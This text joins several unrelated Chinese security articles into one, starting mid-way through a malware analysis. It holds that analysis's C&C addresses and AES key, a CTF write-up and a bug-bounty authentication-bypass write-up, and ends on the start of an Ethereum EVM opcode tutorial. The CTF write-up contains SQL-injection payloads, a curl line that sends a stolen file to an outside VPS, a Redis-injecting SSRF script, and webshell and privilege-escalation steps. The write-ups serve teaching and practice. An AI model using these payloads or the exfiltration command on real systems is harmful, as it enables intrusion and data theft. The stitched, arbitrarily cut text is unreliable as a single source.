``%APPDATA%``%LocalAppData%`中创建一个以8位随机字母命名的文件夹，然后用前面提到的算法来生成内部子文件夹名和`.exe`文件名。
对于保存的文件，会设置与`ntdll.dll`相同值的新时间戳。
此外，恶意软件还会再选择的目录中创建一个子文件夹，文件夹名与系统目录序列号有关：
图15: 生成二级子文件夹名
生成的文件夹名是这样的：
C:\Program Files\Internet Explorer\2.0.41885\
恶意软件还会在`%TEMP%`文件夹中创建子文件夹，并保存一个副本。子文件夹和文件名的生成如下:
图16: 恶意软件的副本生成路径
文件夹和文件的名与硬编码的值有关，所以路径与每个受感染的机器是一样的：
%TEMP%\{D2309EFC-AB81-74D2-4D23-1674D2309EFC}\ROPYRmXM.exe
创建的文件和文件夹都使用`EncryptFile`API函数进行加密。
恶意软件会创建两个定时任务：
* 运行第一个副本
* 每2分钟运行exe文件
图17: 开启恶意软件的定时任务
定时任务名是用系统的函数生成的，用于生成mutex和event的名：
图18: 生成的任务名
因此定时任务名和受害者机器名是一样的：
{09EFC5AB-D230-AB81-74D2-4D2309EFC5AB}
{D2309EFC-AB81-74D2-4D23-1674D2309EFC}
## 恶意软件配置
恶意软件配置中的数据有：
* 配置AES-256密钥：用于解密配置
* RSA公钥：通过检查数字签名识别真实性
* 通信AES-256密钥：用于加密C&C STAGE-1服务器的通信
* C&C STAGE-0服务器地址
配置以加密格式保存，配置区块的前32字节是AES -256密钥，用于解密配置。APLib用于解压缩：
图19: 解密、提取配置区块
解密后就可以提取配置中的数据：
图20: 解密的恶意软件配置
每个配置域都预先加入了2字节的长度。比如第一个域（AES -256密钥）的长度是0x20。
配置含有下面的区块：
## 网络与通信
### STAGE-0 C&C
恶意软件用HTTP协议连接STAGE-0 C&C服务器。HTTP请求的URL是从配置中获取的：
<http://46.161.40.50:443/vnnf4pffztd356ey>
恶意软件会创建一个从20个随机字母中进行字符串查询的HTTP GET，HTTP请求的`User-Agent`参数硬编码在样本中。请求格式如下：
GET /vnnf4pffztd356ey?fafgxybetmnqvmtifcle HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: 46.161.40.50
Cache-Control: no-cache
服务器响应中含有命令和Base64编码的服务器数字证书：
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 07 Jun 2018 02:54:59 GMT
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
8
WAIT 60
b2
CERT 7PYB0XUnrvomid0DDnlFchiogTULgdmyBz6Rro3hfyyRRqXBzX+W5mbomWG4sKc0i8DTRgV6HuvPqZ6BKgEcIW+jMchM82Zj+vxt9c0js/6Ykg7GcgVNU2v5Un6hrjwWoYHgLdc3lbyGa7bBuRYxV3V+8gxHF2whnIRmfGM2PVM=
0
并支持下面的命令：
### STAGE-1 C&C
恶意软件在接收到命令`CONNECT host:port`后，会创建到特定STAGE-1
C&C服务器的连接。然后用自由的二进制协议（基于TCP）进行通信，来自服务器和客户端的消息都以长度为16字节的header开始。
Header使用了2层加密：
第一层是ECB模式的AES密文，加密密钥保存在恶意软件配置中；
分析的样本中的AES密钥为：
ava5df#be45av^bbdgq!hiuyyhh4327$
AES解密后，header的前4字节chunk会作为XOR密钥解密header的其他部分。解密后，header的格式如下：
恶意软件会将header进行语义分析，获得传输数据的长度和CRC32校验码。消息的数据会进行2层加密，密钥同时用于解密。
解密的消息中含有多个chunk，每个chunk都以表示chunk类型的字节开始：
Chunk的数量和类型与message code有关。
恶意软件支持以下message code：
C&C服务器发送的消息，message code的高字节是`0x10`，而僵尸主机发送的消息的message code的高字节是`0x00`。
## 保护机制
恶意软件样本中的所有字符串都用`Stack strings
obfuscation`结束进行了混淆。因此，字符串不以明文也不以加密的形式保存，也很难在恶意软件二进制文件中找到。每个字符串都在函数主体中一个字符一个字符地填充：
图21: 字符串混淆
当恶意软件需要调用API函数时，首先用哈希对来解析目标函数的地址，然后用解析的地址调用API函数：
图22: API调用混淆
恶意软件还使用了一些绕过结束来检测沙箱环境和研究用软件，在查询STAGE-0
C&C服务器之前会进行循环检查。如果检查到沙箱或分析环境，恶意软件就会从加密区块中提取出假的C&C服务器地址，并用来代替真实的配置。
样本中使用的假的配置有：
http://104.144.207.211:443/vnnf4pffztd356ey
http://46.161.40.50:443/vnnf4pffztd356ey | 社区文章 |
# 【CTF攻略】第七届swpu-ctf官方Writeup
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：**[ **08067**](http://bobao.360.cn/member/contribute?uid=2652321373)
**预估稿费：300RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**比赛地址：**[ **ctf.08067.me** ****](http://ctf.08067.me/)
**misc 100-1**
* * *
[http://misc.08067.me/misc4](http://misc.08067.me/misc4/)
misc 100-1 很简单，就是jsfuck和brianfuck两次编码，直接解出即可。
**Misc 100-2**
* * *
<http://misc.08067.me/misc3/>
Misc 100-2题目给的是一个图片，用winhex打开看到底部的密文
Base32解密得到：vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}
发现是凯撒加密，不过奇偶数移位方向不一样，发现偏移量是16，用脚本跑一下
str = "vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}"
for i in range(26):
key = ''
for x in str:
s = ord(x)
if (s not in range(97,123)) and (s not in range(65,91)):
key = key + chr(s)
else:
#print chr(s)
if s in range(97,123):
if s % 2 == 0:
s = s - i
if s not in range(97,123):
t = 97-s
t = 123-t
key = key + chr(t)
else:
key = key + chr(s)
else:
s = s + i
if s not in range(97,123):
t = s-122+96
key = key + chr(t)
else:
key = key + chr(s)
else:
#print chr(s)
if s % 2 == 0:
s = s - i
if s not in range(65,91):
t = 65-s
t = 91-t
key = key + chr(t)
else:
key = key + chr(s)
else:
s = s + i
if s not in range(65,91):
t = s-90+64
key = key + chr(t)
else:
key = key + chr(s)
print key
**
**
**Misc 150**
* * *
<http://misc.08067.me/misc2/>
打开wireshark数据包，提取http数据，得到一个flag.zip，
解压得到一个ce.txt文件，打开发现是一个rgb图片的像素点，然后用脚本还原即可。
from PIL import Image
import re
if __name__ == '__main__':
x = 887
y = 111
i = 0
j = 0
c = Image.new("RGB", (x,y))
file_object = open('ce.txt')
for i in range(0, x):
for j in range(0, y):
line = file_object.next()
lst = line.split(",")
c.putpixel((i, j), (int(lst[0]), int(lst[1]), int(lst[2])))
c.show()
c.save("c.png")
**web 200-1**
* * *
<http://web1.08067.me/>
注入，过滤了空格、#、*、union、like、regexp、and、or、|、–、&、%0a、%0b、%0c、%0d等，需要想办法用其他操作符连接注入语句和闭合’。
mysql操作符参考：<http://blog.csdn.net/yuzongtao/article/details/45044963>
几个可用的poc：
uname='!=!!(ascii(mid((passwd)from(1)))=99)!=!!'1&passwd=dddd
uname=12'%(ascii(mid((passwd)from(1)))=99)%'1&passwd=dddd
uname=12'%(ascii(mid((passwd)from(1)))=99)^'1&passwd=dddd
uname=12'-(length(trim(leading%a0'c12'%a0from%a0passwd))<32)-'0&passwd=1
来到后台，可以执行命令，但是对反弹shell的一些关键字做了过滤，对空格也做了过滤，只能通过cat读取flag，没又回显，然后打到用远程vps的日志上面
exp：
curl$IFSvps:1234/`cat$IFS../../flag`
**web 200-2**
* * *
<http://web3.08067.me/>
这道题主要是考察了php底层 wakeup 的一个bug，<https://bugs.php.net/bug.php?id=72663>
这道题根据tips:编辑器，可以考虑到.bak文件泄露
通过 robots.txt 发现了 function.php commom.php ,
最后找到了 function.php.bak index.php.bak
我们就获得了 整道题的代码
Index.php.bak
我们可以看见了这里 通过 cookie 的登陆
/function.php.bak
其他过滤代码 在该文件都可以得到
addslashes_deep() 是无法绕过的，我们就只能绕过wakeup
根据那个bug 的描述，我们直接进入 __destruct() ,这里我们取出了 $this->name
$this->name 是base64decode后，然后反序列化得到的，不用考虑waf等东西
我们看了这里只有一个 Checksql($sql)
//sql 过滤
static function CheckSql($db_string,$querytype='select')
{
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@._-]{1,}(load_file|outfile)[^[email protected]]{1,}";
if(preg_match("/".$notallow1."/i", $db_string))
{
exit("Error");
}
}
//完整的SQL检查
while (TRUE)
{
$pos = strpos($db_string, ''', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, ''', $pos + 1);
$pos2 = strpos($db_string, '\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~s+~s' ), array(' '), $clean)));
if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
OR strpos($clean,'$s$$s$')!== FALSE)
{
$fail = TRUE;
if(preg_match("#^create table#i",$clean)) $fail = FALSE;
$error="unusual character";
}
elseif (strpos($clean, '/*') !== FALSE ||strpos($clean, '-- ') !== FALSE || strpos($clean, '#') !== FALSE)
{
$fail = TRUE;
$error="comment detect";
}
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])intos+outfile($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
if (!empty($fail))
{
exit("Error" . $error);
}
else
{
return $db_string;
}
}
}
这就是改版的80sec-ids ，这里只要研究一下就会发现，这里可用sleep() 函数，绕过80sec-ids 进行盲注，就可以得到flag了.
**web 100**
* * *
<http://web2.08067.me/>
这是一道基于php特殊协议的利用的题目。
根据首页提示，可以发现include.php页面存在文件包含漏洞，利用参数file,右键源码查看获tips：upload.php。上传加文件包含很容易想到getshell。
首先利用php://filter读取两个文件的源码，可以发现只能上传图片文件，并且file参数后强行加了php后缀，又过滤了..，所以不能跨目录，php版本为5.5，也不存在截断。而且这个环境并不支持zip协议，于是只有利用phar://协议getshell。
构造xxx.zip文件，里面加入我们的一句话文件并压缩，改名为图片后缀名上传，最后getshell，exp如下：
**Web 200 -3**
* * *
<http://web2.08067.me/>
这道题是接着web100之后的，拿到web100的shell后，就会在根目录下发现tips文件，
获得hint: tomcat.08067.me以及flag2在root目录下，这很容易让人想到需要提权。
访问tomcat.08067.me这个地址后，发现tomcat的管理后台是404，也就是说一些常规的tomcat部署war的漏洞无法利用，但又需要提权所以很容易联想到最近爆出(CVE-2016-1240)tomcat本地提权漏洞。这样就需要从apache权限用户获得一个tomcat用户权限，这个地方确实有一点小脑洞。
我们设置了tomcat的web根目录为apache可写，这样就可以通过菜刀翻到tomcat的web根目录写入jsp一句话获得tomcat权限，最后再上exp获取root权限即可。
参考地址：<http://www.freebuf.com/vuls/115862.html>
利用过程中注意事项:
1.写入exp的时候注意windows下的换行是rn，而linux下的是n.
2.获取tomcat的webshell后最好反弹一个shell到自己的vps上，用交互式shell更方便操作。
(这个题上线的前一天，出现了脏牛漏洞，导致很多师傅在服务器上尝试用脏牛提权。所以服务器会崩溃，最后写了定时回滚脚本解决。)
**web 200-4**
* * *
<http://web7.08067.me/web7>
这个题是用cherry写的，一个轻量级的python web框架,在400错误的时候就可以知道。前端写
得比较烂，直接一个表单加张背景图片。~/~
这个题是利用了Python urllib HTTP头注入向然后造成ssrf，操作redis可以更改管理员账号密码，然后登录。但是提示fast fast
fast。
其实是后台有个脚本在一直修改账号密码，所以导致登录不成功，所以需要多线程去操作redis修改账号面膜然后登录。(这里有脑洞，已吊打出题人）
脚本实现
import requests
import threading
def test():
while True:
try:
url = "http://web7.08067.me/web7/input"
data = {'value': 'http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20admin%20xx00%0d%0aSAVE%0d%0a:6379/foo'}
requests.post(url, data=data)
except Exception, e:
pass
def test2():
while True:
try:
url = "http://web7.08067.me/web7/admin"
data = {'passworld': 'xx00'}
text = requests.post(url, data=data).text
if 'flag' in text:
print text
except:
pass
list = []
for i in range(10):
t = threading.Thread(target=test)
t.setDaemon(True)
t.start()
list.append(t)
for i in range(10):
t = threading.Thread(target=test2)
t.setDaemon(True)
t.start()
list.append(t)
for i in list:
i.join()
**web 300**
* * *
<http://web5.08067.me/>
这个题一看界面，就想到时ssrf
经过测试，可以直接发起请求，也没有任何的内网地址过滤。然后就是寻找内网段。
这里就是利用file://协议去读本机的网卡。
centos的网卡地址/etc/sysconfig/network-scripts/ifcfg-eth0。
然后得到这台主机 所处的内网的网段是在172.16.181.0/24段。
然后探测下C段，发现只有172.16.181.166主机的80 存在一个应用。
尝试扫一波目录，发现了一个常规目录admin/login.php,访问之，发现一个登陆表单
不过，这里的method是POST
既然是POST，自然就想到了利用gopher协议构造POST包。这里开始 就需要特别细心了。
大概有以下几点：
1.这里的表单action是wllmctf_login.php而不是login.php,很多师傅就是这里被坑了一波。
2.gopher发包一定要填写端口，因他不像http默认走80端口。
3.注意post包里面的Content-Length的长度一定要和post的内容长度相符合，很多师傅这个地方都忘记了，导致被坑了很久
4.记得加上Content-Type: application/x-www-form-urlencoded，然后记得是两次url编码
大概的构造好之后的poc如下图，
可以看到，这里用户名错误会报error names，如果密码错误回返回password error。
很容易测出来这个这个地方有注入，什么都没有过滤，是bool盲注，所以只接就能写脚本跑用户名密码。
最后得到用户名是admin，跑出的密码MD5解密之后是xiaozhang123.
最后填入正确用户名和密码。得到flag
这个题不难，贵在一定要细心啊
**web 400**
* * *
<http://web4.08067.me/>
这是一道代码审计的题，访问 /web.zip 就拿到了源码，
我们在 riji.php 这里发现了
由于是伪全局 机制，我们这里可以发现一个变量覆盖，只要在登陆后，让查询用户不存在就可以了，
下面漏洞触发点为
再看 api.php, 我们这里看见了 del_user 操作，只要删除了用户，我们就可以触发上面的变量覆盖漏洞了，
权限确认这里，一看这种校验方式 就会发现存在 hash扩展攻击，然后我们需要找到 admin 的key 的一个密文就可以构造密文，绕过权限验证了，
Forget.php 找回密码处
我们发现了可以获取任意用户key的md5加密的密文，这里hash扩展攻击的条件已经满足
我们再来继续看看 api.php
这里我们就需要找到当前用户的id才能删除我们的用户，
/index.php 就会将 userid 写入到 cookie 中，删除条件就满足了
所以整体逻辑就是，先登录用户，抓取 userid ，然后找回 管理员(admin) 的密码
然后 通过api.php 接口删除用户，我们用登陆后的用户访问 riji.php ，传入 id 参数
就可以了，这里没有任何过滤，直接联合查询，就查到了flag
**CM50**
* * *
<http://misc.08067.me/CM50/>
第一眼看题。 好直接上工具！ eXeScope
哒~哒 就在这里！
**
**
**CM100**
* * *
[http://misc.08067.me/CM5100/](http://misc.08067.me/CM50/)
直接丢IDA 然后搜字符窜。Wrong~ 找到关键函数。仔细看看其实算法很简单只是其余处理稍微复杂。其实就是一步异或操作。寻找到常量 26544631 和
12345678 进行异或。
Flag出来了
Flag{lr{-l0F-)uFe?}
**CM150**
* * *
[http://misc.08067.me/CM150/](http://misc.08067.me/CM50/)
Apk逆向出题人不太会，直接贴源码吧！
encode = Encode1(Flag,Flag.length());
encode1 = Encode2(encode,Flag);
flag = check(encode1);
if (flag==1)
{
Toast.makeText(MainActivity.this, "WOw~, You got it !", Toast.LENGTH_SHORT).show();
}
else
{
Toast.makeText(MainActivity.this, "trg again~", Toast.LENGTH_SHORT).show();
两个加密函数，一个检查函数，进去
public String Encode1(String Flag , int len)
{
char [] xor = Flag.toCharArray();
int key = 29;
int temp;
int [] encode = new int [16];
if (len == 16)
{
for (int i = 0;i<Flag.length();i++)
{
encode[i] = (int)xor[i];
encode[i] = encode[i]^key;
}
for (int i = 1 ; i< 8 ; i++)
{
temp = encode[i];
encode[i] = encode[15-i];
encode[15-i] = encode[i];
}
for (int i = 0 ; i< 16 ; i++)
{
xor[i] = (char)encode[i];
}
return String.valueOf(xor);
}
else{
Flag = "lalalalalalala~~";
return Flag;
}
}
public String Encode2(String encode,String Flag)
{
char [] xor1 = encode.toCharArray();
char [] xor2 = Flag.toCharArray();
for (int i = 0;i<16;i++)
{
if (i%2 == 0)
xor1[i] = xor2[i];
}
return String.valueOf(xor1);
}
public int check(String encode1)
{
char [] xor = encode1.toCharArray();
int []sum = new int [16];
int []sum1 = {73, 48, 109, 97, 115, 46, 95, 116, 105, 111, 51, 89, 124, 73, 45, 73};
for (int i = 0 ; i< 16; i++)
{
sum[i] = (int)xor[i];
if(sum[i] != sum1[i])
return 0;
}
return 1;
}
由于出题人水平问题，导致此题有多解(已被吊打)
**CM200**
* * *
[http://misc.08067.me/CM200/](http://misc.08067.me/CM50/)
CM200其实就是RC4的应用。下GetWindowText断下来，出题人VM了两个函数强行加大了难度，但是从其他调用函数还是能够看出来是RC4。识别出来了是RC4，剩下就是找key
和 Ecode了。
关于key：
你很容易就能找到 swpu。
关于Ecode：
0x34, 0x73, 0xffffffaa, 0xffffffd9, 0xffffff88, 0x10, 0xfffffff7, 0xffffffab,
0xffffffbb, 0x7, 0xffffffc6, 0xffffff8b, 0xffffffd1, 0xffffff92, 0x20,
0xffffffed, 0x25, 0x2f, 0x32, 0x27, 0xffffffdc
转一下再解RC4
Flag出来了
Flag{y3s_Is_tH3_LaSt}
当然这道题还有其他解题思路，我也从其他大牛那里学到了按位爆破。
CM300：
[http://misc.08067.me/CM300/](http://misc.08067.me/CM50/)
CM300分为两个部分第一个为key 和 第二个部分 flag
Key输入进行md5加密。找到常量186, 23, 99, 168, 254, 185, 21, 172, 61, 195, 239, 219, 52,
229, 129, 55转为16进制。再去解md5就OK。
Flag部
直接贴码了
void Encode1(unsigned char *decrypt, unsigned char *Flag)
{
for ( int i = 0; i < 16; i++)
{
Flag[i] ^= decrypt[i];
if (i % 2 == 0 && i < 9)
Flag[i] -= 40;
if (i % 2 != 0 && i < 9)
Flag[i] += 1;
if (i>=9)
{
if (i < 12)
Flag[i] -= 50;
else
Flag[i] -= 9;
}
}
}
void Encode2(unsigned char *decrypt, unsigned char * Flag)
{
for (int i = 0; i < 16; i++)
{
Flag[i] ^= 29;
if (i%2 != 0)
{
Swap(&Flag[i-1],&Flag[i]);
}
}
Encode1(decrypt, Flag);
}
void Swap(unsigned char *p1, unsigned char *p2)
{
char temp;
temp = *p1;
*p1 = *p2;
*p2 = temp;
}
int Decode(unsigned char * Flag)
{
int i = Flag[0] - 199 + Flag[1] - 171 + Flag[2] - 93 + Flag[3] - 153 + Flag[4] - 6 + Flag[5] - 38 + Flag[6] - 127 + Flag[7] - 76 + Flag[8] - 79 + Flag[9] - 177 + Flag[10] - 67 + Flag[11] - 29 + Flag[12] - 122 + Flag[13] - 144 + Flag[14] - 135 + Flag[15] - 230 - 15;
return i;
} | 社区文章 |
# 【技术分享】从JS文件中发现『认证绕过』漏洞
|
##### 译文声明
本文是翻译文章，文章来源：blogspot.com
原文地址：<http://c0rni3sm.blogspot.com/2017/06/from-js-to-another-js-files-lead-to.html>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[ **h4d35**](http://bobao.360.cn/member/contribute?uid=1630860495)
预估稿费：120RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
本篇文章主要介绍了在一次漏洞悬赏项目中如何利用配置错误挖到一个认证绕过漏洞。
**从JS文件中发现认证绕过漏洞**
本文内容源自一个私有漏洞赏金计划。在这个漏洞计划中，接受的漏洞范围限于目标网站少数几个公开的功能。基于前期发现的问题（当我被邀请进这个计划时，其他人一共提交了5个漏洞），似乎很难再挖到新的漏洞。同时，在赏金详情中提到了这样一句话：
如果你成功进入管理页面，请立即报告，请勿在/admin中进行进一步的测试。
然而，目标网站中存在一个仅限于未认证和未经授权的用户访问的管理页面。当我们访问/login或/admin时会跳转到https://bountysite.com/admin/dashboard?redirect=/。
对登录页面进行暴力破解也许是一个可行方案，但是我并不喜欢这种方式。看一下网页源码，没什么有用的内容。于是我开始查看目标网站的结构。似乎目标网站的JS文件都放在少数几个文件夹中，如/lib、/js、/application等。
有意思！
祭出神器BurpSuite，使用Intruder跑一下看能否在上述文件夹中找到任何可访问的JS文件。将攻击点设置为https://bountysite.com/admin/dashboard/js/*attack*.js。注意，不要忘记.js扩展名，这样如果文件能够访问则返回200响应。确实有意思！因为我找到了一些可访问的JS文件，其中一个文件是/login.js。
访问这个JS文件https://bountysite.com/admin/dashboard/js/login.js，请求被重定向至管理页面:)
。但是，我并没有查看该文件的权限，只能看到部分接口信息。
但是我并没有就此止步。这看起来很奇怪，为什么我访问一个.js文件却被作为HTML加载了呢？经过一番探查，终于发现，我能够访问管理页面的原因在于*login*。是的，只要在请求路径/dashboard/后的字符串中含有*login*（除了'login'，这只会使我回到登录页面），请求就会跳转到这个管理接口，但是却没有正确的授权。
我继续对这个受限的管理接口进行了进一步的测试。再一次查看了页面源码，试着搞清楚网站结构。在这个管理接口中，有其他一些JS文件能够帮助我理解管理员是如何执行操作的。一些管理操作需要一个有效的令牌。我试着使用从一个JS文件中泄露的令牌执行相关管理操作，然并卵。请求还是被重定向到了登录页面。我发现另外一个真实存在的路径中也部署了一些内容，那就是/dashboard/controllers/*.php。
再一次祭出BurpSuite，使用Intruder检查一下是否存在可以从此处访问的其他任何路径。第二次Intruder的结果是，我发现几乎不存在其他无需授权即可访问的路径。这是基于服务器返回的500或者200响应得出的结论。
回到我在上一步侦察中了解到的网站结构中，我发现这些路径是在/controllers中定义的，通过/dashboard/*here*/进行访问。但是直接访问这些路径会跳转到登录页面，似乎网站对Session检查得还挺严格。此时我又累又困，几乎都打算放弃了，但是我想最后再试一把。如果我利用与访问管理页面相同的方法去执行这些管理操作会怎么样呢？很有趣，高潮来了:)
我能够做到这一点。
通过访问/dashboard/photography/loginx，请求跳转到了Admin Photography页面，并且拥有完整的权限！
从这里开始，我能够执行和访问/dashboard/*路径下的所有操作和目录，这些地方充满了诸如SQL注入、XSS、文件上传、公开重定向等漏洞。但是，我没有继续深入测试，因为这些都不在赏金计划之内，根据计划要求，一旦突破管理授权限制，应立即报告问题。此外，根据管理页面显示的调试错误信息可知，我之所以能够访问到管理页面，是因为应用程序在/dashboard/controllers/*文件中存在错误配置。期望达到的效果是：只要请求链接中出现*login*，就重定向至主登录页面，然而，实际情况并不如人所愿。
**后记**
总之，这是有趣的一天！我拿到了这个漏洞赏金计划最大金额的奖励。 | 社区文章 |
作者：Hcamael@知道创宇404区块链安全研究团队
在我们对etherscan等平台上合约进行安全审查时，常常会遇到没有公布Solidity源代码的合约，只能获取到合约的OPCODE，所以一个智能合约的反编译器对审计无源码的智能合约起到了非常重要的作用。
目前在互联网上常见的反编译工具只有[porosity](https://github.com/comaeio/porosity
"porosity")[1]，另外在Github上还找到另外的反编译工具[ethdasm](https://github.com/meyer9/ethdasm
"ethdasm")[2]，经过测试发现这两个编译器都有许多bug，无法满足我的工作需求。因此我开始尝试研究并开发能满足我们自己需求的反编译工具，在我看来如果要写出一个优秀的反汇编工具，首先需要有较强的OPCODE逆向能力，本篇Paper将对以太坊智能合约OPCODE的数据结构进行一次深入分析。
#### 基础
智能合约的OPCODE是在EVM(Ethereum Virtual Machine)中进行解释执行，OPCODE为1字节，从`0x00 -0xff`代表了相对应的指令，但实际有用的指令并没有0xff个，还有一部分未被使用，以便将来的扩展
具体指令可参考[Github](https://github.com/trailofbits/evm-opcodes
"Github")[3]上的OPCODE指令集，每个指令具体含义可以参考[相关文档](http://solidity.readthedocs.io/en/v0.4.21/assembly.html
"相关文档")[4]
#### IO
在EVM中不存在寄存器，也没有网络IO相关的指令，只存在对栈(stack)，内存(mem), 存储(storage)的读写操作
* stack
使用的push和pop对栈进行存取操作，push后面会带上存入栈数据的长度，最小为1字节，最大为32字节，所以OPCODE从`0x60-0x7f`分别代表的是`push1-push32`
`PUSH1`会将OPCODE后面1字节的数据放入栈中，比如字节码是`0x6060`代表的指令就是`PUSH1 0x60`
除了`PUSH`指令，其他指令获取参数都是从栈中获取，指令返回的结果也是直接存入栈中
* mem
内存的存取操作是`MSTORE`和`MLOAD`
`MSTORE(arg0, arg1)`从栈中获取两个参数，表示`MEM[arg0:arg0+32] = arg1`
`MLOAD(arg0)`从栈中获取一个参数，表示`PUSH32(MEM[arg0:arg0+32])`
因为`PUSH`指令，最大只能把32字节的数据存入栈中，所以对内存的操作每次只能操作32字节
但是还有一个指令`MSTORE8`，只修改内存的1个字节
`MSTORE(arg0, arg1)`从栈中获取两个参数，表示`MEM[arg0] = arg1`
内存的作用一般是用来存储返回值，或者某些指令有处理大于32字节数据的需求
比如: `SHA3(arg0,
arg1)`从栈中获取两个参数，表示`SHA3(MEM[arg0:arg0+arg1])`，SHA3对内存中的数据进行计算sha3哈希值，参数只是用来指定内存的范围
* storage
上面的stack和mem都是在EVM执行OPCODE的时候初始化，但是storage是存在于区块链中，我们可以类比为计算机的存储磁盘。
所以，就算不执行智能合约，我们也能获取智能合约storage中的数据:
eth.getStorageAt(合约地址, slot)
# 该函数还有第三个参数，默认为"latest"，还可以设置为"earliest"或者"pending"，具体作用本文不做分析
storage用来存储智能合约中所有的全局变量
使用`SLOAD`和`SSTORE`进行操作
`SSTORE(arg0, arg1)`从栈中获取两个参数，表示`eth.getStorageAt(合约地址, arg0) = arg1`
`SLOAD(arg0)`从栈中获取一个参数，表示`PUSH32(eth.getStorageAt(合约地址, arg0))`
#### 变量
智能合约的变量从作用域可以分为三种, 全局公有变量(public), 全局私有变量(private), 局部变量
全局变量和局部变量的区别是，全局变量储存在storage中，而局部变量是被编译进OPCODE中，在运行时，被放在stack中，等待后续使用
公有变量和私有变量的区别是，公有变量会被编译成一个constant函数，后面会分析函数之前的区别
因为私有变量也是储存在storage中，而storage是存在于区块链当中，所以相当于私有变量也是公开的，所以不要想着用私有变量来储存啥不能公开的数据。
##### 全局变量的储存模型
不同类型的变量在storage中储存的方式也是有区别的，下面对各种类型的变量的储存模型进行分析
###### 1\. 定长变量
第一种我们归类为定长变量，所谓的定长变量，也就是该变量在定义的时候，其长度就已经被限制住了
比如定长整型(int/uint......), 地址(address), 定长浮点型(fixed/ufixed......),
定长字节数组(bytes1-32)
这类的变量在storage中都是按顺序储存
uint a; // slot = 0
address b; // 1
ufixed c; // 2
bytes32 d; // 3
##
a == eth.getStorageAt(contract, 0)
d == eth.getStorageAt(contract, 3)
上面举的例子，除了`address`的长度是160bits，其他变量的长度都是256bits，而storage是256bits对齐的，所以都是一个变量占着一块storage，但是会存在连续两个变量的长度不足256bits的情况
address a; // slot = 0
uint8 b; // 0
address c; // 1
uint16 d; // 1
在opcode层面，获取a的值得操作是: `SLOAD(0) & 0xffffffffffffffffffffffffffffffffffffffff`
获取b值得操作是: `SLOAD(0) // 0x10000000000000000000000000000000000000000 & 0xff`
获取d值得操作是: `SLOAD(1) // 0x10000000000000000000000000000000000000000 & 0xffff`
因为b的长度+a的长度不足256bits，变量a和b是连续的，所以他们在同一块storage中，然后在编译的过程中进行区分变量a和变量b，但是后续在加上变量c，长度就超过了256bits，因此把变量c放到下一块storage中，然后变量d跟在c之后
从上面我们可以看出，storage的储存策略一个是256bits对齐，一个是顺序储存。(并没有考虑到充分利用每一字节的储存空间，我觉得可以考虑把d变量放到b变量之后)
###### 2\. 映射变量
mapping(address => uint) a;
映射变量就没办法想上面的定长变量按顺序储存了，因为这是一个键值对变量，EVM采用的机制是:
`SLOAD(sha3(key.rjust(64, "0")+slot.rjust(64, "0")))`
比如: `a["0xd25ed029c093e56bc8911a07c46545000cbf37c6"]`首先计算sha3哈希值:
>>> from sha3 import keccak_256
>>> data = "d25ed029c093e56bc8911a07c46545000cbf37c6".rjust(64, "0")
>>> data += "00".rjust(64, "0")
>>> keccak_256(data.encode()).hexdigest()
'739cc24910ff41b372fbcb2294933bdc3108bd86ffd915d64d569c68a85121ec'
#
a["0xd25ed029c093e56bc8911a07c46545000cbf37c6"] == SLOAD("739cc24910ff41b372fbcb2294933bdc3108bd86ffd915d64d569c68a85121ec")
我们也可以使用以太坊客户端直接获取:
> eth.getStorageAt(合约地址, "739cc24910ff41b372fbcb2294933bdc3108bd86ffd915d64d569c68a85121ec")
还有slot需要注意一下:
address public a; // slot = 0
mapping(address => uint) public b; // slot = 1
uint public d; // slot = 1
mapping(address => uint) public c; // slot = 3
根据映射变量的储存模型，或许我们真的可以在智能合约中隐藏私密信息，比如，有一个secret，只有知道key的人才能知道secret的内容，我们可以`b[key]
= secret`, 虽然数据仍然是储存在storage中，但是在不知道key的情况下却无法获取到`secret`。
不过，storage是存在于区块链之中，目前我猜测是通过智能合约可以映射到对应的storage，storage不可能会初始化`256*256bits`的内存空间，那样就太消耗硬盘空间了，所以可以通过解析区块链文件，获取到storage全部的数据。
上面这些仅仅是个人猜想，会作为之后研究以太坊源码的一个研究方向。
###### 3\. 变长变量
变长变量也就是数组，长度不一定，其储存方式有点像上面两种的结合
uint a; // slot = 0
uint[] b; // 1
uint c; // 2
数组任然会占用对应slot的storage，储存数组的长度(`b.length == SLOAD(1)`)
